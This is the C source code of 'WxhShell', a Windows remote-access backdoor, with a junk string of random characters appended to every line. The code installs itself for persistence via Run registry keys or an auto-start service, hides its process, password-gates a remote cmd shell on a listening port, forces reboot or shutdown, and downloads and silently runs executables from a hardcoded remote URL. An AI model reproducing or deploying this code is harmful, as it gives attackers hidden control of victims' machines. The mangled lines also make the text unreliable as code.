  case 'd': { K{%}kUj>  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); qrsPY d  
    if(Boot(SHUTDOWN)) cE '`W7&A  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); y ]xG@;4M  
    else { A% 9TS/-p  
    closesocket(wsh); 5 P9hm[  
    ExitThread(0); o$FqMRep  
    } TL ;2,@H`  
    break; [cv7s=U%  
    } ,3Y~ #{,i  
  // 获取shell 1a;Le8  
  case 's': { JV=d!Gi[C  
    CmdShell(wsh); y TfAS .  
    closesocket(wsh); T]l_B2.  
    ExitThread(0); D642}VD  
    break; j(F&*aH78  
  }  O;h]  
  // 退出 U$@p"F@P  
  case 'x': { axW3#3#`  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ^} P|L  
    CloseIt(wsh); ;Y5"[C9|  
    break; -h%;L5oJ2,  
    } B<i )je!  
  // 离开 Qctm"g|  
  case 'q': { T%A45BE V  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ^B8%Re%  
    closesocket(wsh); -Qgu 6Ty  
    WSACleanup(); dtw1Am#Ci  
    exit(1); P*_!^2  
    break; 2qLRcA=R  
        } 6*u#^">,<  
  } R}IMX9M=  
  } %B5.zs]Of  
 s.&ewf\  
  // 提示信息 Q]9H9?}N?  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <yz)iCU?  
} 3CK4a,]Dm  
  } rK )aR  
ac%%*HN,  
  return; R`q*a_  
} RL7OFfMe  
cf)2GoV>e  
// shell模块句柄 m,NUNd#)\  
int CmdShell(SOCKET sock) k_?xi OSh  
{ W8+Daw1Nr  
STARTUPINFO si; ~?4'{Hc'  
ZeroMemory(&si,sizeof(si)); RO?5WJpPj  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; }UNRe]ft$  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; #ak2[UOT  
PROCESS_INFORMATION ProcessInfo; Q= IA|rN  
char cmdline[]="cmd"; rlTCVmE8[  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); m|!R/,>S4  
  return 0;  w=5D>]  
} EEFM1asJf  
o5?f]Uq5 ,  
// 自身启动模式 Lsv[@Rl  
int StartFromService(void) U/'"w v1y  
{ }PdS?[R  
typedef struct  *X- 6]C  
{ '7AlE!7%  
  DWORD ExitStatus; _ #]uk&5a  
  DWORD PebBaseAddress; V)#se"GV  
  DWORD AffinityMask; ,5^XjU3c=  
  DWORD BasePriority; dx}) 1%  
  ULONG UniqueProcessId; $/^DY&  
  ULONG InheritedFromUniqueProcessId; Si#I^aF`%  
}   PROCESS_BASIC_INFORMATION; R{Q*"sf  
,>%2`Z)  
PROCNTQSIP NtQueryInformationProcess;  x~p8Mcv  
}pOL[$L  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ;mH O#  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; m?cC0(6  
z%-Yz- G9  
  HANDLE             hProcess; T(t@[U2^  
  PROCESS_BASIC_INFORMATION pbi; ~ED8]*H|`  
0G`_dMN  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); _K"|}bM  
  if(NULL == hInst ) return 0; U6^x(2De  
W" >[sn|  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); y)iT-$bQ  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); +-tvNX%IJ  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); tGHZU^B:}  
"F A&Qm0  
  if (!NtQueryInformationProcess) return 0; JGQlx-qv  
hTgWqp  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Y_m/? [:  
  if(!hProcess) return 0; IvuKpX>*  
(A!+$}UR  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ?sfas57&y  
Ia_I~ U$  
  CloseHandle(hProcess); AX6z4G  
]D(!ua5|x`  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); B#RBR<MFC  
if(hProcess==NULL) return 0; X(s HFVU+  
~)>O=nR  
HMODULE hMod; GIXxOea1  
char procName[255]; Ay?KE{Qs '  
unsigned long cbNeeded; 7&oT} Z  
( R2432R}J  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); /ZC/yGdIS_  
qKoD*cl)Za  
  CloseHandle(hProcess); }:JE*D|  
M"cB6{st[  
if(strstr(procName,"services")) return 1; // 以服务启动 },r30`)Q  
<}e2\x  
  return 0; // 注册表启动 LxD >eA  
} `qP <S  
n-X;JYQW  
// 主模块 kmfz=q?  
int StartWxhshell(LPSTR lpCmdLine) -+1_ 1!  
{ &T7|f!y  
  SOCKET wsl; p)_v.D3i  
BOOL val=TRUE; nR%ASUx:Y  
  int port=0; S b0p?  
  struct sockaddr_in door; y3!r;>2k=  
i%~^3/K  
  if(wscfg.ws_autoins) Install(); ryhme\%l;f  
66A}5b4)]  
port=atoi(lpCmdLine); y2"PKBK\_  
:exgdm;N  
if(port<=0) port=wscfg.ws_port; f~U~f}Uw4  
syuW>Z8s  
  WSADATA data; 7Jm&z/  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Cs2hi,s  
t(<^of:  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   (~C_zG  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); '. Ww*N  
  door.sin_family = AF_INET; x#wkODLqi  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); E cS+/  
  door.sin_port = htons(port); ;3\oU$'  
w$ zX.;s  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { kNC.^8ryz[  
closesocket(wsl); 4!%@{H`3  
return 1; 1|]IWX|  
} Dt1v`T~=?  
f9+J}  
  if(listen(wsl,2) == INVALID_SOCKET) { {zTo[i  
closesocket(wsl); ll]MBq  
return 1; wjJM\BKr`  
} 'VgdQp$L$  
  Wxhshell(wsl);  O=,[u?  
  WSACleanup(); Qqp_(5S|>  
79DzrLu  
return 0; kTC'`xv  
AXnuXa(j  
} -?jI{].:8  
.G ^-. p  
// 以NT服务方式启动 S JseP_-  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) x.5!F2$  
{ Dd:TFZo  
DWORD   status = 0; xz$-_NWW  
  DWORD   specificError = 0xfffffff; Ri<7!Y?l  
n! Dr:$  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 11'^JmKA  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Ofx]  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; $;4y2?E  
  serviceStatus.dwWin32ExitCode     = 0; :4Gc'b R  
  serviceStatus.dwServiceSpecificExitCode = 0; _u[2R=h  
  serviceStatus.dwCheckPoint       = 0; cEdf&*_-'I  
  serviceStatus.dwWaitHint       = 0; Li'>pQ+  
.S5%Qa [uW  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); + :IwP  
  if (hServiceStatusHandle==0) return; KQf=t0Z=Ce  
ifXGH>C  
status = GetLastError(); Rudj"OGO  
  if (status!=NO_ERROR) "jUM}@q5  
{ f:\)oIW9Kk  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ^vj}  
    serviceStatus.dwCheckPoint       = 0;  &x":  
    serviceStatus.dwWaitHint       = 0; '%H\ k5^  
    serviceStatus.dwWin32ExitCode     = status; 483/ZgzT`  
    serviceStatus.dwServiceSpecificExitCode = specificError; #`HY"-7m_  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8 t)?$j$  
    return; bQvhBa?  
  } xg^Z. q)d  
TQ,KPf$0U  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; S"@/F- 81  
  serviceStatus.dwCheckPoint       = 0; @W1F4HYds  
  serviceStatus.dwWaitHint       = 0; 8v ZY+Q >  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); >p`ZcFNs"  
} ?mA%`*=q  
'!DS3zEeLS  
// 处理NT服务事件,比如:启动、停止 +%~/~1  
VOID WINAPI NTServiceHandler(DWORD fdwControl) /$U< S"  
{ W{i s2s  
switch(fdwControl) P3k@ptc-K  
{ Z1y=L$t8  
case SERVICE_CONTROL_STOP: s=H| ^v  
  serviceStatus.dwWin32ExitCode = 0; }0oVIr  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; S]x\Asj;w  
  serviceStatus.dwCheckPoint   = 0; J Q% D6b  
  serviceStatus.dwWaitHint     = 0; Bnfp_SM  
  { SjL&\),  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); |[W7&@hF  
  } >+FaPym  
  return; NVX@1}  
case SERVICE_CONTROL_PAUSE: XCd[<\l  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; tJvs ?eZ)  
  break; n)uck5  
case SERVICE_CONTROL_CONTINUE: 'Z8=y[l  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ^1-Vd5g  
  break; I /z`)  
case SERVICE_CONTROL_INTERROGATE: KL\hV .6  
  break; b[rVr J  
}; c0v6*O)  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); $]<wQH/?_  
} 8)ykXx/f@  
61W[  
// 标准应用程序主函数 sXwa`_{  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) _J X>#h  
{ e X{#F gFc  
]ne  
// 获取操作系统版本 s# V>+mU  
OsIsNt=GetOsVer(); ez14f$cJ+  
GetModuleFileName(NULL,ExeFile,MAX_PATH); LaX<2]Tx:  
;R([w4[~  
  // 从命令行安装 ~7>D>!!  
  if(strpbrk(lpCmdLine,"iI")) Install(); 5ENEx  
*t300`x  
  // 下载执行文件 (>SucUU  
if(wscfg.ws_downexe) { _P9*78  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 7d^ ~.F  
  WinExec(wscfg.ws_filenam,SW_HIDE); 2QgD<  
} r1BL?&X-  
oTg 'N  
if(!OsIsNt) { x c|1?AFj  
// 如果时win9x,隐藏进程并且设置为注册表启动 Ip |=NQL>  
HideProc(); .dsB\ C  
StartWxhshell(lpCmdLine); <-DQ(0xg  
} ldnKV&N  
else _9y! ,ST  
  if(StartFromService()) gu "@*,hL  
  // 以服务方式启动 Mq='|0,  
  StartServiceCtrlDispatcher(DispatchTable); t=fr`|!  
else Zi}j f25  
  // 普通方式启动 7/K L<T9@  
  StartWxhshell(lpCmdLine); 6^)eW+  
$IqubC>O  
return 0; Gkm {b[  
} F#^/=AR'  
ar _@"+tZ  
!JtM`x/yR  
2U3e!V  
=========================================== 3Ww 37V>h  
iB5q"hoZC  
K >Q 6  
Z7I\\M  
VRTJKi  
Zb&"W]HSf  
" S`Z[MNY  
 $Gcjm~  
#include <stdio.h> \Hw*q|  
#include <string.h> 0mNL!"  
#include <windows.h> fw5+eTQ^  
#include <winsock2.h> CjEzsjqe<I  
#include <winsvc.h> vl~HV8MAv  
#include <urlmon.h> tt|P-p-  
>7r%k,`  
#pragma comment (lib, "Ws2_32.lib") i-9W8A  
#pragma comment (lib, "urlmon.lib") egAYJK-,!  
jO9! :L>b`  
#define MAX_USER   100 // 最大客户端连接数 kgI8PybY  
#define BUF_SOCK   200 // sock buffer @?RaU4e  
#define KEY_BUFF   255 // 输入 buffer =!)x`1j!S  
wYLodMaYH  
#define REBOOT     0   // 重启 .<Ays?  
#define SHUTDOWN   1   // 关机 ~NB|BwAh  
,& wd  
#define DEF_PORT   5000 // 监听端口 -3 Sb%V\  
/N#=Tol  
#define REG_LEN     16   // 注册表键长度 x4h.WDT$  
#define SVC_LEN     80   // NT服务名长度 fhyoSRLR:  
RI+Y+z  
// 从dll定义API s>W :vV@  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 1CR\!?  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); {jv+ J L"5  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); i6$HwRZm#  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); y} is=h3  
(BngwLVDK  
// wxhshell配置信息 "G,,:H9v  
struct WSCFG { / !y~Q|<|=  
  int ws_port;         // 监听端口 MPKrr  
  char ws_passstr[REG_LEN]; // 口令 q<Qjc  
  int ws_autoins;       // 安装标记, 1=yes 0=no V(:wYk?ZR  
  char ws_regname[REG_LEN]; // 注册表键名 lr[T+nQ  
  char ws_svcname[REG_LEN]; // 服务名 ;Qi!~VsP;  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ^Epup$  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 [-i&)eX  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ,F*HZBNFZ  
int ws_downexe;       // 下载执行标记, 1=yes 0=no cLRzm9  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" R]o0V*n  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 nLmF5.&  
!@wUAR Q  
}; }p-/R'  
,0ilNi>  
// default Wxhshell configuration 9HPmJ`b  
struct WSCFG wscfg={DEF_PORT, FFcIOn  
    "xuhuanlingzhe", UbGnU_}  
    1, 2b,edJVt?  
    "Wxhshell", $06('Hg&  
    "Wxhshell", w\UAKN60  
            "WxhShell Service", ` AD}6O+x  
    "Wrsky Windows CmdShell Service", 6k![v@2R  
    "Please Input Your Password: ", Z {:;LC  
  1, )_n(u3'  
  "http://www.wrsky.com/wxhshell.exe", >8x)\'w  
  "Wxhshell.exe" HG< z,gE 2  
    }; CE!cZZ  
~-y&C%  
// 消息定义模块 MX?UmQ'  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; =tY%`e  
char *msg_ws_prompt="\n\r? for help\n\r#>"; T31F8K3x  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; hoM%|,0  
char *msg_ws_ext="\n\rExit."; w{lj'3z I  
char *msg_ws_end="\n\rQuit."; Q`6hJgyL  
char *msg_ws_boot="\n\rReboot..."; yPe9KN_  
char *msg_ws_poff="\n\rShutdown..."; ixK9/5T  
char *msg_ws_down="\n\rSave to "; g kV`ZT9  
U1  *P  
char *msg_ws_err="\n\rErr!"; 8a]g>g  
char *msg_ws_ok="\n\rOK!"; );y ZyWDV  
7cWeB5 e?O  
char ExeFile[MAX_PATH]; o8H\l\(  
int nUser = 0; :SW vH-]  
HANDLE handles[MAX_USER]; ZMr[:,Jp  
int OsIsNt; I Z*)  
ki}Li*)7  
SERVICE_STATUS       serviceStatus; PFx.uqp  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; GA` bWl  
yB/F6/B~  
// 函数声明 *JZ9'|v_H  
int Install(void); S.`hl/  
int Uninstall(void); BNA1"@9q  
int DownloadFile(char *sURL, SOCKET wsh); 4p+Veo6B  
int Boot(int flag); 5} <OB-9  
void HideProc(void); |uz\XK  
int GetOsVer(void); ut]UU*g^$  
int Wxhshell(SOCKET wsl); X[dH*PV  
void TalkWithClient(void *cs); R]Z#VnL@qz  
int CmdShell(SOCKET sock); %K8YZc(&  
int StartFromService(void); R.l!KIq  
int StartWxhshell(LPSTR lpCmdLine); #`= >Mza  
trjeGSt&  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ( xzruI5P  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ]B8iQr-!  
l+@k:IK  
// 数据结构和表定义 jk_yrbLc  
SERVICE_TABLE_ENTRY DispatchTable[] = bG*l_  
{  t5S|0/f  
{wscfg.ws_svcname, NTServiceMain}, ^jdtp  
{NULL, NULL} \L$]2"/v-  
}; N+5f.c+S-  
xaB#GdD  
// 自我安装 -:Fr($^  
int Install(void) :RZ'_5P[If  
{ #nft{AN  
  char svExeFile[MAX_PATH]; q o-|.I  
  HKEY key; j jv'"K2  
  strcpy(svExeFile,ExeFile); r8N)]Hs ZH  
'Z,7{U1P  
// 如果是win9x系统,修改注册表设为自启动 '4 3U v  
if(!OsIsNt) { X}h}3+V  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { X|g5tnsj`  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); J|o<;9dg1  
  RegCloseKey(key); PR(KDwsT&l  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 9^C6ZgNS  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @m:' L7+  
  RegCloseKey(key); cFJZ|Ld  
  return 0; p<Tg}fg  
    } W$l4@A  
  } :x3DuQP  
} sT<h+[2d  
else { f4dHOH  
-s le7k  
// 如果是NT以上系统,安装为系统服务 A]o3 MoSt  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); )liNjY@  
if (schSCManager!=0) 673G6Nk  
{ cZrJW  
  SC_HANDLE schService = CreateService K&=6DvfR  
  ( sv "GX< +  
  schSCManager, @}+B%R  
  wscfg.ws_svcname, LA6Ik_-F  
  wscfg.ws_svcdisp, ~aL?{kb+  
  SERVICE_ALL_ACCESS, 8jLO-^X<<  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , +K;%sAZy  
  SERVICE_AUTO_START, jt9@aN.mJN  
  SERVICE_ERROR_NORMAL, )^E6VD&6  
  svExeFile, 3zM>2)T-  
  NULL, ?DNeL;6  
  NULL, W%9"E??c  
  NULL, @Hp=xC9V  
  NULL, x_4{MD^%  
  NULL Y[;Z7p  
  ); @XKVdtG  
  if (schService!=0) n{c-3w.uD  
  { _9iF`Q  
  CloseServiceHandle(schService); zfGr1;  
  CloseServiceHandle(schSCManager); {?IUf~<  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); uv7tbI"r  
  strcat(svExeFile,wscfg.ws_svcname); &v+Hl ^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { jSvo-  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); h&b s`  
  RegCloseKey(key); elP#s5l4  
  return 0; u$x'P <b  
    } )Vx C v  
  } .ldBl  
  CloseServiceHandle(schSCManager); -kzg(+sm  
} HR?a93  
} 2|8$@*-\  
bLz('mUY  
return 1; ')E4N+h/  
} kmsgaB7?  
BOW`{=  
// 自我卸载 ew8Manx  
int Uninstall(void) G\S_e7$ /  
{ fu`|@S  
  HKEY key; a[V4EX1E  
jX91=78d  
if(!OsIsNt) { DYL\=ya1  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { aw'o=/a8  
  RegDeleteValue(key,wscfg.ws_regname); o}lA\A  
  RegCloseKey(key); \F),SL  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { dIvvJk8  
  RegDeleteValue(key,wscfg.ws_regname); NE!]  
  RegCloseKey(key); * n>YS  
  return 0; }kb6;4>c  
  } #N|A@B5 x  
} EcmyY,w  
} Ezw<  
else { AU H_~SY  
'fY( Vm  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ]AdL   
if (schSCManager!=0) WzO[-csy  
{ &GLe4zEh  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); u69s}yZ  
  if (schService!=0) l( 0:CM  
  { |t h"ET  
  if(DeleteService(schService)!=0) { bmGtYv  
  CloseServiceHandle(schService); Y^J/jA0\B  
  CloseServiceHandle(schSCManager); (e6KSRh2fF  
  return 0; e.pq6D5  
  } Av^<_`L :  
  CloseServiceHandle(schService); LDv>hzo  
  } XYsU)(;j  
  CloseServiceHandle(schSCManager); >>HC|  
} \KPwh]0  
} j+>&~  
s~MCt|a  
return 1; +c_8~C  
} K+J fU J  
nfzKUJY  
// 从指定url下载文件 H?<c eK'e  
int DownloadFile(char *sURL, SOCKET wsh) W0>fu>  
{ 2w? 5vSv  
  HRESULT hr; Sk&l8"  
char seps[]= "/"; \mp5G&+/Q  
char *token; 8NzXe 7  
char *file; h9L/.>CX  
char myURL[MAX_PATH]; T hLR<\  
char myFILE[MAX_PATH]; uA2-&smw  
jW!)5(B[A  
strcpy(myURL,sURL); _ 0Ced&i  
  token=strtok(myURL,seps); 0ge^p O\Z  
  while(token!=NULL) !u=,bfyH  
  { SR\F2@u  
    file=token; jIs2R3B  
  token=strtok(NULL,seps); J=qPc}+  
  } ,HM~Zs  
:},/ D*v  
GetCurrentDirectory(MAX_PATH,myFILE); r@m2foaO  
strcat(myFILE, "\\"); qEbzF#a-:  
strcat(myFILE, file); X}gnO83  
  send(wsh,myFILE,strlen(myFILE),0); d~b#dcv$"  
send(wsh,"...",3,0); {l-V  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); AE"E($S`  
  if(hr==S_OK) /4Lmu+G4  
return 0; cWA$O*A  
else t846:Z%[  
return 1; ';z5]O~  
.4NQ2k1io  
} 1"82JN|!  
wzRIvm{  
// 系统电源模块 f{DcR"  
int Boot(int flag) >O{/%(9  
{ Kc:} Ky  
  HANDLE hToken; !F|iL  
  TOKEN_PRIVILEGES tkp; hoQ?8}r:  
9#;UQ.qA  
  if(OsIsNt) { %Jpb&CEY  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 6v9{ $:  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); h8yv:}XU*  
    tkp.PrivilegeCount = 1; 69v[* InSd  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; oEWx9c{~$  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); {:3XP<hqN  
if(flag==REBOOT) { U "qO&;m  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) fV;&)7d&  
  return 0; nAp7X-t  
} IrRn@15,  
else { ,K'}<dm|x  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) }<wj~f([  
  return 0; ]rh)AE!Y(  
} KcB  ?[  
  } C3%,pDh  
  else { uK?T <3]'  
if(flag==REBOOT) { 8<g_JW[%  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) .~5cNu'#m  
  return 0; -BV&u(  
} r[$Qtj Q  
else {  *ihg'  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) VmTk4?V4  
  return 0; ``kKi3TWJ  
} J<_&f_K0]  
} iR#jBqXD  
f ( `.q  
return 1; e<^tY0rR&  
} ,>(M5\Z/c  
gzDb~UEoF  
// win9x进程隐藏模块 >?e*;f$VdJ  
void HideProc(void) /$rS0@p  
{ CRWO R pP  
,`|KN w5  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); cf@#a@7m9  
  if ( hKernel != NULL ) vS<;:3  
  { &F#X0h/m=  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); m$J'nA  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 7<.f&1MgI  
    FreeLibrary(hKernel); wq]nz!  
  } kd \G>  
&P ;6P4x  
return; wU#Q>ut'%  
} 0t4i'??  
1*-58N*  
// 获取操作系统版本 1<R \V  
int GetOsVer(void) FpRK^MEkG  
{ _X.M,id  
  OSVERSIONINFO winfo; &P {%C5?{  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Nq~bO_-I  
  GetVersionEx(&winfo); n(o Jb  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) E 0oJ|My  
  return 1; V u! ,tpa.  
  else HRw,D=  
  return 0; Ta[}k/zW  
} ?y04g u6p  
\R#XSW,  
// 客户端句柄模块 Ns 9g>~  
int Wxhshell(SOCKET wsl) cA Lu  
{ uC;@Yi8  
  SOCKET wsh; L"b5P2{c  
  struct sockaddr_in client; be@MQ}6>  
  DWORD myID;  z`_N|iEd  
]JM9 ^F  
  while(nUser<MAX_USER) yi%B5KF~Al  
{ L'6zs:i  
  int nSize=sizeof(client); (p2a{v}fEz  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); jf2E{48P  
  if(wsh==INVALID_SOCKET) return 1; eX$Biv1N  
DuFlN1Z  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); D6m>>&E['  
if(handles[nUser]==0) P~*fZ)\}F@  
  closesocket(wsh); EagI)W!s[  
else GS^4t mc  
  nUser++; Ar$LA"vu4  
  } P6?Q;-\q0  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); a&<<X:$Hy  
/[-hJ=< Yb  
  return 0; U9q*zP_jV  
} = G_6D  
z(=:J_N  
// 关闭 socket <*\J 6:^n  
void CloseIt(SOCKET wsh) S,v`rmI  
{ JSL 3.J  
closesocket(wsh); {J]|mxo  
nUser--; AX)zSrXn  
ExitThread(0); _`(g?  
} ppYz~ {"r  
ubQ(O uM"  
// 客户端请求句柄 p)ONw"sb  
void TalkWithClient(void *cs) 8?$2;uGL  
{ oMVwId f  
e'`oisJU?q  
  SOCKET wsh=(SOCKET)cs; cQR1v-Xt  
  char pwd[SVC_LEN]; uu:)jxi  
  char cmd[KEY_BUFF]; 'tbb"MEi4  
char chr[1]; xI@~Ig  
int i,j; 2*|]#W  
EI;\of2,  
  while (nUser < MAX_USER) { (pmo[2kg  
QJ>>&`{ ,  
if(wscfg.ws_passstr) { 0D'Wr(U(  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); GXfVjC31z  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); B'Wky>5)  
  //ZeroMemory(pwd,KEY_BUFF); lm|`Lh-  
      i=0; HZ}*o%O  
  while(i<SVC_LEN) { @K9T )p]  
-db+Y:xUZ  
  // 设置超时 Trrh`@R  
  fd_set FdRead;  xYT.J 6  
  struct timeval TimeOut; zgqw*)C~  
  FD_ZERO(&FdRead); :3B\,inJ  
  FD_SET(wsh,&FdRead); '!R,)5l0h  
  TimeOut.tv_sec=8; |$PLZ,  
  TimeOut.tv_usec=0; z+*Z<c5d  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); :~(im_r  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); K>[H@|k\k  
K +~v<F  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); c #kV+n<  
  pwd=chr[0]; +!v RU`  
  if(chr[0]==0xd || chr[0]==0xa) { :j ~5(K"  
  pwd=0; qN@a<row&~  
  break; #E9['JnZ  
  } MbfzGYA2~  
  i++; IMza 2  
    } $J6.a!5IE  
X}(0y  
  // 如果是非法用户,关闭 socket F :S,{&jB  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); iI*7WO[W  
} F-^HN%  
BuTIJb+Q\  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 2~V Im#  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); d8HB2c5y0i  
(x qA.(F  
while(1) { "ILWIzf.]  
:OCux Sc%5  
  ZeroMemory(cmd,KEY_BUFF); 4Umsc>yfK  
rf->mk{  
      // 自动支持客户端 telnet标准   <(4#4=ivP  
  j=0; G%!\ p:w  
  while(j<KEY_BUFF) { m>ycN  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "<x~{BN?  
  cmd[j]=chr[0]; Jwd&[ O  
  if(chr[0]==0xa || chr[0]==0xd) { rxj@NwAno  
  cmd[j]=0; t i^v%+r1  
  break; z,FTsR$x  
  } ]<gCq/V#  
  j++;  YX`=M  
    } JA(fam~{  
Q)`gPX3F  
  // 下载文件 `uh@iD'KI  
  if(strstr(cmd,"http://")) { F,M"/hnPT  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); -,VhSI  
  if(DownloadFile(cmd,wsh)) {Y91vXTz7  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); t*d >eK`:N  
  else &4Con%YU[  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); vA"niO  
  } RO{@RhnV  
